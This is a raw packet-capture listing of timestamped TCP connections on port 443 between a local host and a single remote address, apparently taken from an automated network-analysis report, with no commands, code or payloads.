Oct 7, 2024 18:43:49.291353941 CEST	49894	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.291378021 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.322731972 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.322801113 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.322849989 CEST	49890	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.323142052 CEST	49890	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.323160887 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.323174000 CEST	49890	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.323180914 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.326756001 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.326792955 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.326860905 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.327037096 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.327047110 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.444679022 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.445307016 CEST	49891	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.445324898 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.445888996 CEST	49891	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.445894003 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.491014004 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.491034031 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.543844938 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.544055939 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.544135094 CEST	49891	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.557795048 CEST	49891	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.557812929 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.557861090 CEST	49891	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.557867050 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.567316055 CEST	49896	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.567361116 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.567431927 CEST	49896	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.567574978 CEST	49896	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.567589998 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.600388050 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.600414038 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.643296003 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.644819975 CEST	49892	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.644835949 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.645328045 CEST	49892	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.645334005 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.739588976 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.739744902 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.739914894 CEST	49892	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.739995003 CEST	49892	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.740020990 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.740037918 CEST	49892	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.740045071 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.743369102 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.743415117 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.743490934 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.743622065 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.743630886 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.852408886 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.853056908 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.853071928 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.853708982 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.853715897 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.892102957 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.892929077 CEST	49894	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.892941952 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.893996954 CEST	49894	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.894001961 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.034214973 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.038187981 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.038235903 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.038561106 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.038568974 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.106726885 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.106801987 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.106914043 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.106926918 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.107043982 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.107301950 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.107301950 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.107327938 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.107336998 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.110702038 CEST	49898	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.110748053 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.110829115 CEST	49898	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.110994101 CEST	49898	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.111010075 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.146924973 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.146994114 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.147064924 CEST	49894	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.147532940 CEST	49894	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.147548914 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.147597075 CEST	49894	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.147603989 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.151066065 CEST	49899	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.151113987 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.151216030 CEST	49899	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.151407003 CEST	49899	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.151424885 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.162247896 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.162278891 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.162328005 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.162364960 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.162406921 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.162683010 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.162707090 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.162744045 CEST	49895	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.162751913 CEST	443	49895	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.165730000 CEST	49900	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.165770054 CEST	443	49900	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.165848017 CEST	49900	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.165998936 CEST	49900	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.166008949 CEST	443	49900	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.334156036 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.334736109 CEST	49896	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.334760904 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.335248947 CEST	49896	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.335256100 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.449686050 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.449769020 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.449829102 CEST	49896	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.450074911 CEST	49896	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.450092077 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.450120926 CEST	49896	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.450126886 CEST	443	49896	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.453129053 CEST	49901	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.453171015 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.453363895 CEST	49901	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.453521967 CEST	49901	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.453535080 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.533504963 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.538235903 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.538278103 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.538611889 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.538619041 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.745425940 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.745496035 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.745613098 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.745614052 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.745698929 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.746047020 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.746063948 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.746073961 CEST	49897	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.746078968 CEST	443	49897	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.749702930 CEST	49902	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.749802113 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.749918938 CEST	49902	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.750121117 CEST	49902	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.750155926 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.881786108 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.882522106 CEST	49898	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.882534981 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.883156061 CEST	49898	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.883158922 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.964932919 CEST	443	49900	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.965679884 CEST	49900	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.965708017 CEST	443	49900	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.966344118 CEST	49900	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.966347933 CEST	443	49900	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.978341103 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.978429079 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.978660107 CEST	49898	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.978698969 CEST	49898	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.978709936 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.978724957 CEST	49898	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.978729963 CEST	443	49898	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.982088089 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.982120037 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:50.982196093 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.982331038 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:50.982342958 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.063641071 CEST	443	49900	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.063702106 CEST	443	49900	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.063779116 CEST	49900	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.064218998 CEST	49900	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.064229012 CEST	443	49900	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.069329023 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.069356918 CEST	443	49904	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.071430922 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.071430922 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.071463108 CEST	443	49904	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.196988106 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.197700024 CEST	49901	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.197731018 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.198367119 CEST	49901	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.198374033 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.295994997 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.296065092 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.296231985 CEST	49901	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.296675920 CEST	49901	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.296725035 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.296753883 CEST	49901	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.296772003 CEST	443	49901	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.300818920 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.300864935 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.300956011 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.301139116 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.301157951 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.362771988 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.363452911 CEST	49902	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.363475084 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.363974094 CEST	49902	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.363980055 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.459494114 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.459795952 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.459882975 CEST	49902	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.460005045 CEST	49902	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.460056067 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.460088968 CEST	49902	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.460107088 CEST	443	49902	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.463443041 CEST	49906	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.463469982 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.463546038 CEST	49906	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.463763952 CEST	49906	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.463772058 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.628505945 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.629162073 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.629189014 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.629650116 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.629654884 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.713308096 CEST	443	49904	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.714417934 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.714448929 CEST	443	49904	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.714699984 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.714704037 CEST	443	49904	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.724636078 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.724708080 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.724869013 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.724900007 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.724977016 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.725411892 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.725429058 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.725439072 CEST	49903	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.725444078 CEST	443	49903	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.729334116 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.729372978 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.729516983 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.729621887 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.729629040 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.811534882 CEST	443	49904	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.811919928 CEST	443	49904	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.812114954 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.812114954 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.812114954 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.815088034 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.815134048 CEST	443	49908	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.815212965 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.815352917 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.815361023 CEST	443	49908	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.919514894 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.920121908 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.920156002 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:51.920625925 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:51.920631886 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.014700890 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.015243053 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.015304089 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.015315056 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.015360117 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.015415907 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.015415907 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.015436888 CEST	49905	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.015449047 CEST	443	49905	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.018381119 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.018474102 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.018589020 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.018709898 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.018732071 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.038590908 CEST	49904	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.038613081 CEST	443	49904	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.079495907 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.079987049 CEST	49906	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.080015898 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.080450058 CEST	49906	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.080457926 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.174204111 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.174367905 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.174518108 CEST	49906	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.174685955 CEST	49906	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.174710035 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.174725056 CEST	49906	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.174730062 CEST	443	49906	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.178035021 CEST	49910	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.178071022 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.178158045 CEST	49910	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.178369999 CEST	49910	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.178385019 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.472646952 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.473824024 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.473824024 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.473850965 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.473860979 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.624612093 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.624692917 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.624818087 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.624825954 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.624953032 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.625082970 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.625082970 CEST	49907	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.625102997 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.625112057 CEST	443	49907	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.628123045 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.628168106 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.628247976 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.628375053 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.628382921 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.641211033 CEST	443	49908	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.644954920 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.644969940 CEST	443	49908	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.645462990 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.645467997 CEST	443	49908	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.741023064 CEST	443	49908	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.741399050 CEST	443	49908	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.741585970 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.741585970 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.741585970 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.744055033 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.744154930 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.744245052 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.744370937 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.744407892 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.817619085 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.818248034 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.818274975 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.818495035 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.818501949 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.917318106 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.917990923 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.918037891 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.918067932 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.918107986 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.918169975 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.918189049 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.918203115 CEST	49909	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.918207884 CEST	443	49909	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.920798063 CEST	49913	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.920839071 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.920921087 CEST	49913	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.921065092 CEST	49913	443	192.168.2.7	13.107.246.45
